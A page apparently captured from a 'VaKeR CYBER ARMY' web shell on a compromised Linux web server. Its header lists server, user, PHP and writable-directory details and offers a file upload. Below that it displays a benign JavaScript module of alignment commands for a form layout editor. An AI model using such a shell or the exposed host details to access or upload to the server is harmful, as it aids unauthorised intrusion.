VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-form/js/cmds/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-form/js/cmds/LinearAnchorEditorCmd.js
import BaseAnchorEditorCmd from './BaseAnchorEditorCmd';

/**
 * @type {import('../anchoreditors/LinearAnchorEditor').default}
 */
var LinearAnchorEditorCmd = Object.assign({}, BaseAnchorEditorCmd);;


LinearAnchorEditorCmd.equaliseWidth = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    var widthValue = this.component.getStyle('width', 'px');
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        if (editor == this) continue;
        editor.equaliseWidth(widthValue);
    }
    this.layoutEditor.commitHistory('move', 'Equalise Width');

};


LinearAnchorEditorCmd.equaliseHeight = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    var heightValue = this.component.getStyle('height', 'px');
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        if (editor == this) continue;
        editor.equaliseHeight(heightValue);
    }
    this.layoutEditor.commitHistory('move', 'Equalise Height');

};



LinearAnchorEditorCmd.verticalAlignTop = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        editor.verticalAlignTop();
    }
    this.layoutEditor.commitHistory('move', 'Vertical Align Top');
};


LinearAnchorEditorCmd.verticalAlignCenter = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        editor.verticalAlignCenter();
    }
    this.layoutEditor.commitHistory('move', 'Vertical Align Center');
};


LinearAnchorEditorCmd.verticalAlignBottom = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        editor.verticalAlignBottom();
    }
    this.layoutEditor.commitHistory('move', 'Vertical Align Bottom');
};


LinearAnchorEditorCmd.horizontalAlignLeft = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        editor.horizontalAlignLeft();
    }
    this.layoutEditor.commitHistory('move', 'Horizontal Align Left');
};


LinearAnchorEditorCmd.horizontalAlignCenter = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        editor.horizontalAlignCenter();
    }
    this.layoutEditor.commitHistory('move', 'Horizontal Align Center');
};


LinearAnchorEditorCmd.horizontalAlignRight = function () {
    var editors = this.layoutEditor.anchorEditors;
    var editor;
    for (var i = 0; i < editors.length; ++i) {
        var editor = editors[i];
        editor.horizontalAlignRight();
    }
    this.layoutEditor.commitHistory('move', 'Horizontal Align Right');
};


export default LinearAnchorEditorCmd;


export var LinearAnchorEditorCmdTree = [
    [
        [
            'horizontalAlignLeft',
            'horizontalAlignCenter',
            'horizontalAlignRight',
            'equaliseWidth'
        ],
        [
            'verticalAlignTop',
            'verticalAlignCenter',
            'verticalAlignBottom',
            'equaliseHeight'
        ]
    ]
];

export var LinearAnchorEditorCmdDescriptors = {
    equaliseWidth: {
        type: 'trigger',
        icon: 'span.mdi.mdi-arrow-expand-horizontal',
        desc: 'Equalise Width'
    },
    equaliseHeight: {
        type: 'trigger',
        icon: 'span.mdi.mdi-arrow-expand-vertical',
        desc: 'Equalise Height',
    },
    verticalAlignTop: {
        type: 'trigger',
        icon: 'span.mdi.mdi-format-vertical-align-top',
        desc: 'Vertical Align Top',
    },
    verticalAlignCenter: {
        type: 'trigger',
        icon: 'span.mdi.mdi-format-vertical-align-center',
        desc: 'Vertical Align Center',
    },
    verticalAlignBottom: {
        type: 'trigger',
        icon: 'span.mdi.mdi-format-vertical-align-bottom',
        desc: 'Vertical Align Bottom',
    },
    horizontalAlignLeft: {
        type: 'trigger',
        icon: 'span.mdi.mdi-format-horizontal-align-left',
        desc: 'Horizontal Align Left',
    },
    horizontalAlignCenter: {
        type: 'trigger',
        icon: 'span.mdi.mdi-format-horizontal-align-center',
        desc: 'Horizontal Align Center',
    },
    horizontalAlignRight: {
        type: 'trigger',
        icon: 'span.mdi.mdi-format-horizontal-align-right',
        desc: 'Horizontal Align Right',
    }
};

VaKeR 2022